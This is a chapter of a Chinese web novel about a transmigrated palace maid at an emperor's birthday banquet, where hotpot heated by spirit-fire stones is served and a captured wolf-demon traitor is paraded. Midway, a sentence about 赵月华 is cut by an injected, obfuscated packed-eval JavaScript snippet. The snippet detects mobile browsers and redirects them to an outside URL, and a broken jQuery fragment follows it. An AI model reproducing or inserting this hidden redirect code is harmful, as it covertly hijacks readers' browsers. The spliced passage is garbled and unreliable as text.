宋知鱼还没反应过来,已被拉着到了前排座位。
赵谨毕竟是皇子,座位还算靠前。只是他一到,周围人便惯例投来若有若无的打探目光。他适时松开牵住的手腕,安然坐下。宋知鱼站定后,总觉得有人在看她。循着视线望过去,果然看到了老熟人。
赵月华正在打量她。
跟宋知鱼猜得差不多,灵火石是被赵月华劫走的。她自认为这招高明,依她对苏鸣的了解,他肯定会来找她。结果一上午过去,他竟没来。眼下看着那小宫女一脸气定神闲地站在这里,她心里突然有些发慌。苏鸣和这宫女关系匪浅,一想到这个就来气。而且这宫女明显不是善茬,上次家宴,连一向跋扈的二皇子都被她玩得团团转。
察觉到宋知鱼对过来的视线,赵月华随即挑眉,不屑一笑,得意地移开目光。
呵,她还不信,这小宫女还能翻天了不成?
另一边的宋知鱼则一脸莫名。
一个时辰前,她已经让万幽那边把灵火石传了过来。联系万幽狐族期间,她还思索了一下赵月华在书中的剧情。
不过毕竟《半妖》是男频爽文,对女角色的描述还真不算多,赵月华仅出场了不到几章,后期也没站队哪个皇子。但她的结局和赵月蓉一样,也不太好,似乎是……为了救一人而被二皇子赵议所杀。
殿内又热闹了几分。太子赵谚与四皇子康王赵诤并肩走入,身后跟着一位女子。那女子身量高挑,穿一身墨绿劲装,腰束革带,乌发高扎,眉目英朗,步履生风。
宋知鱼看见她,眼睛一亮。这应该就是女将沈云英,也是书中男主的后宫之一。
沈云英出身将门,十六岁从军,在北境屡立战功。去年以一己之力守住雁门关,连退妖族三次进攻,被破格擢升为中郎将。
此次沈云英随四皇子回京贺寿,是第一次踏入宫闱,也是第一次和男主见面,对男主一见钟情。她又瞅了眼一脸淡定的赵谨,心底默默补了一句。
这边,太子与四皇子边走边谈,神色颇为热络。四皇子赵诤生得浓眉深目,面容刚毅,身上还带着几分边关的风霜之气。他虽贵为皇子,却不喜奢华,常年与士卒同食同寝,在军中威望极高。
“四皇弟此番回京,一路辛苦。”赵谚温声道。
赵诤微微颔首:“太子言重。北境局势暂稳,臣弟这才敢抽身回京给父皇贺寿。”
“听说这次能稳住阵脚,多亏了沈将军。”赵谚看向身后的沈云英,语气温和,“沈将军巾帼不让须眉,实乃我族之幸。”
沈云英抱拳行礼:“太子殿下谬赞,此乃末将分内之事。”
三人说笑着,已行至座位。赵诤的位置恰在赵谨旁边,沈云英则坐在赵诤下首。
赵谨微微侧身,朝赵诤颔首示意:“四皇兄。”
赵诤看了他一眼,淡淡应了一声。他对这位六弟谈不上亲近,也谈不上疏远,只是恪守礼节。倒是沈云英多看了赵谨两眼,行了一礼后,收回目光。
宋知鱼站在赵谨身后,将这一幕看在眼里。书中说的一见钟情……就是看了两眼?
她垂眸,看着面前那高束的马尾一荡一荡的,突发手痒,生出想去扯一下的冲动。
正想着,殿外又是一阵骚动.
二皇子赵议带着吴霜霜到了。赵议今日穿了一身朱红锦袍,金冠束发,趾高气扬。吴霜霜跟在他身后,穿一件鹅黄褙子,外罩月白披风,妆容精致。两人这般瞧着,倒像是一对佳偶。
他们身后还跟着一青衣男子,穿得就比较随意。宋知鱼隐约听到有人叫他“吴世子”,他是吴霜霜的哥哥?她暗自思索,猛然对上他那双看狗都深情的桃花眼,眼里带着一丝好奇。不待她细想,赵谨突然扯了扯她的衣角。
她移开视线,垂眸询问:“怎么?”
“阿鱼,你可以帮本宫斟一杯酒吗?”赵谨双眸清亮,声音不大不小。
宋知鱼一怔。大胆,这小汤圆还命令起她来了!不过现在人多眼杂,她只能挤出一抹甜美的笑应道:“诺。”
随后弯腰,拿起一旁的酒瓶,斟酒。
小小年纪,不学好,还喝酒!
两人的身影重叠在一起。
吴霜霜跟在赵议身后,目光不动声色地扫过殿内,恰好看到了这一幕。她先是在赵谨身上停了一瞬,又移到正在斟酒的宋知鱼脸上。
她就是一月前大闹两仪殿家宴的小宫女宋知鱼?她眼底闪过一丝异色,很快敛去。
赵议也注意到了赵谨这边。他大步走过来,皮笑肉不笑:“六皇弟来得倒早。”
赵谨起身拱了拱手:“二皇兄。”
赵议的目光越过他,落在宋知鱼身上,冷笑一声:“哟,这不是那位能言善道的宫女么?怎么,今日又要替你家殿下出头?”
宋知鱼垂眸行礼,声音平平:“奴婢不敢。”
“不敢?”赵议哼了一声,“上回在殿上,你可是胆大得很。不过今日嘛……”他意味深长地顿了顿,“本宫倒要看看,你还能不能那么幸运。”这句话明显也是对赵谨说的。
说完,他牵起吴霜霜的手,故意挑衅一笑,拉着她向右前方走去落座。
瞧着这对“佳偶”的背影,宋知鱼暗叹,今日虽没带瓜子,但是瓜是吃饱喽。
“皇上驾到——皇后娘娘驾到——”
顷刻间,尖细的嗓音划破满殿嘈杂。众人纷纷起身,整衣肃立。
人皇赵守真一身明黄龙袍,腰系白玉带,面容冷峻,不怒自威。皇后跟在他身后,穿一袭同色系凤袍,头戴九凤冠,端庄雍容。两人一前一后,隔着半步距离,既不失礼数,也看不出多少亲近。
贵妃坐在侧席,见皇后随皇上入殿,眼底闪过一丝酸意,却很快压了下去,换上得体的笑容。
众人行礼。
“平身。”赵守真抬了抬手,无意间往宋知鱼这边看了一眼,“今日万寿节,众卿不必拘束。”
众人落座。皇后与贵妃的位置一左一右,正对着人皇下首。
贵妃端起酒杯,笑盈盈地看向皇后:“皇后娘娘今日玉容憔悴了些,想必是为陛下的寿宴操劳了不少。妹妹敬您一杯。”
皇后微微一笑,举杯轻抿:“贵妃有心了。倒是妹妹今日似乎眼下泛青,可是没睡好?”
贵妃眼角微抽,仍维持着笑容:“劳皇后挂心,臣妾一切安好。”
两人你来我往,看似寒暄,实则句句带刺。
赵守真眉头微蹙,抬手打断:“好了,今日是朕的寿辰,不必说这些没用的。”
皇后与贵妃齐齐噤声,各自收回视线。
殿内安静了一瞬。皇后清了清嗓子,转向身侧的女官:“时辰不早,传膳吧。”
“诺。”
女官领命而去。不多时,殿门大开,一行宫人鱼贯而入。
苏鸣站在门口,深吸一口气,抬步跨入殿中。
赵月华的目光立刻黏在了他身上,眼底有期待,也有恼怒。
苏鸣自然注意到了,不过强忍着没有看她,只低头指挥宫人将一只只小铜锅摆上各桌。铜锅下头架着精巧的炉架,炉架中空,显然是用来放置灵火石的。锅底汤色红亮,翻滚着花椒和辣椒,香气瞬间弥漫开来。
殿内众人纷纷侧目。
“这是何物?”有官员低声议论。
“闻着倒是挺香……”
“没见过这种吃法。”
赵月华面前的铜锅也被摆上。她低头看去,汤底红油翻滚,香气扑鼻。她还没来得及皱眉,就见那宫人从袖中取出一枚晶莹剔透的灵火石,轻轻搁在炉架中。火石一触即燃,火苗舔着锅底,汤水很快咕嘟咕嘟冒起泡来。
她的脸色瞬间沉了下去。
那灵火石不是已经被她劫走了吗?怎么还有?而且这石头晶莹剔透,比她劫走的那批品质更好。
她猛地抬头,看向宋知鱼。
宋知鱼正笑吟吟地望着她。火光映在两人脸上,一冷一热,一怒一笑。
赵月华手指握紧。她输了!她不愿再多看那宫女,气极般移开视线。
人皇也被这新奇玩意吸引了目光,微微倾身:“这是何物?”
皇后适时开口,笑容得体:“回陛下,这是臣妾命司膳房特意为万寿节研制的新菜式,名曰火锅。陛下请看,这锅底分辣与不辣两种,臣妾已提前派人过问过参宴众人的口味,各桌所上皆是合宜的。”
说着,她示意身旁的宫女上前演示。那宫女夹起一片薄如蝉翼的肉片,放入翻滚的汤中,数息后捞出,在调料碗中一蘸,递到人皇面前的小碟中。
“这吃法也简单,将生肉生菜放入锅中涮烫片刻,捞出即可食用。桌上还备有各色调料,可依个人喜好调配。”皇后边说边上前,将食箸呈给人皇。
赵守真很给面子地接过,夹起,送入口中,慢慢咀嚼。
殿内鸦雀无声,所有人都望着他。
片刻后,他微微点头:“不错。皇后有心了。”
皇后松了口气,笑道:“陛下喜欢便好。”
“这是谁做的?”赵守真问道。
皇后看向门口:“苏总厨,还不快上前来。”
苏鸣深吸一口气,快步走到殿中,跪下行礼:“奴才苏鸣,参见陛下。”
赵守真打量了他一眼:“你就是做这火锅的厨子?”
“回陛下,火锅乃奴才与司膳房众人一同研制,幸得不辱使命。”苏鸣声音有些发紧,但还算稳得住。
“很好。”赵守真点头,随意道,“日后,你便是司膳房总管事了。”
苏鸣愣了一瞬,随即重重叩首:“谢陛下隆恩!”
赵月华
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17429587|198152||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐在席间,指甲深深嵌进掌心。她盯着苏鸣的背影,眼底翻涌着不甘。苏鸣,你以为这样,就可以逃出她的手掌心吗?
皇后端坐一旁,面上笑容端庄,余光却扫过贵妃那张几乎绷不住的脸,心里痛快极了。
底下官员们也纷纷交头接耳,对这火锅赞不绝口。
“妙啊,边煮边吃,倒是有趣。”
“这汤底味道浓郁,比寻常羹汤强多了。”
“日后家中也可仿制……”
宋知鱼听着这些议论,嘴角微微上扬。哦耶,试点成功!
一旁的赵谨低头看着面前咕嘟冒泡的小锅,又抬眼看她。她眼底亮晶晶的,像藏着星星。这些日子她天天往那厨子那儿跑,为的就是这个东西?甚至还帮那厨子一跃升上了总管事。
他收回目光,端起酒杯抿了一口。看向苏鸣的目光愈发不善。
人皇忽然站起身,举起酒杯:“诸位,今日是朕的寿辰,也是为康王接风。北境战事艰难,康王与将士们浴血奋战,朕敬你们一杯。”
众人纷纷起身举杯。
“谢父皇!儿臣替北境的将士们恭祝陛下圣寿永昌,千秋万载,福泽绵长!”赵诤单膝跪下,高声回道。
“恭祝陛下圣寿永昌,千秋万载,福泽绵长!”众人齐声。
落座后,大家杯盏交错间,却有细碎的议论声从角落传来。
“听说北境这次败了,丢了好几个城池。”
“我瞧着,这北境一战都打了这么久了,耗费多少粮草,这群将士光吃不做,还输给了妖族,真真是有损我人族尊严。”
“可不是,陛下也就是不好在这个节骨眼上问罪。”
赵诤握着酒杯的手微微一紧。沈云英坐在他身侧,自然也听到了那些闲言碎语。她眉头一拧,压低声音道:“王爷,这群人懂什么?他们在后方坐享安稳,倒有脸诋毁在前线杀敌的将士们。让末将去说几句。”
赵诤抬手拦住她,摇了摇头:“少安毋躁。”
沈云英咬咬牙,终究忍了下来。
赵谨将这些话听在耳中,面色不变,又端起面前的酒,慢慢饮尽。杯底映着他的眼睛,幽深不见底。
宋知鱼看他酒杯空了,又给斟了一杯。直起身后,目光落在大殿一侧的香炉上。香烟袅袅升起,丝丝缕缕,散发着淡淡的檀香。
她已经隐约探知到几分强大的修士气息,隐蔽在四周,看来这人皇怕是下了血本。就是不知,是他们道高一尺,还是她妖高一丈了。
赵议忽然站起身,走到殿中,拱手道:“父皇,儿臣有一事要奏。”
赵守真看向他:“讲。”
“听闻四皇弟此番在北境抓到了一个叛徒,乃是妖族潜入我军中的奸细。儿臣以为,此事关系重大,不如趁今日百官齐聚,当众审问,也好让众人看清妖族的真面目。”
赵守真目光微动,看向赵诤:“可有此事?”
赵诤与太子赵谚对视一眼。赵谚微微颔首。
赵诤起身,走到殿中,单膝跪地:“回父皇,确有此事。此次北境战败,确实是因军中出现了叛徒。儿臣失职,未能及早察觉,请父皇责罚。”
赵守真问道:“那叛徒何在?”
赵诤道:“已被儿臣押解回城,关在殿外。此人乃妖族狼族首领,名唤魏余。”
闻言,赵守真眸色一沉:“带上来。”
殿门大开。几个侍卫推着一个巨大的铁笼走了进来。
笼中坐着一男子。他倚靠在铁笼一侧,浑身浴血,气息奄奄。脖间的项圈勒进皮肉,鲜血顺着脖颈往下淌。笼子上的符咒少了许多,只剩下零星几张,发出微弱的光。
阵心移动,必然阵法威力大减。为了防止魏余乘机挣脱,他们给他灌了药,让他使不出半分灵力。此刻的魏余,连站起来的力气都没有,只能靠着铁笼,大口喘着气。
他缓缓抬起头,猩红的狼眼扫过殿内。目光落在宋知鱼身上时,停了一瞬。
宋知鱼微微颔首,几乎不可察觉。
魏余很快收回目光,转而落向一处。
宋知鱼眼珠微转,看向那一处,这才注意到二皇子身后站着一个小厮,长相普通,低眉顺眼,毫不起眼。但那小厮此刻正死死盯着笼中的魏余,眼底满是惊骇。
她控制不了他了!
那小厮,也就是柳吟,猛地抬头,想要凑到赵议耳边说什么。但已经来不及了。
赵诤朗声道:“此妖伪装成人族,潜入我军中,官至校尉。正是他屡次将我军机密泄露给妖族,才导致北境节节败退。儿臣失察,罪该万死。”
魏余缓缓抬起头,看向上首的人皇。
赵守真微眯着眼,眉心微蹙。
魏余忽然咧开嘴,虚弱却挑衅地笑了一声。
“赵守真,好久不见。”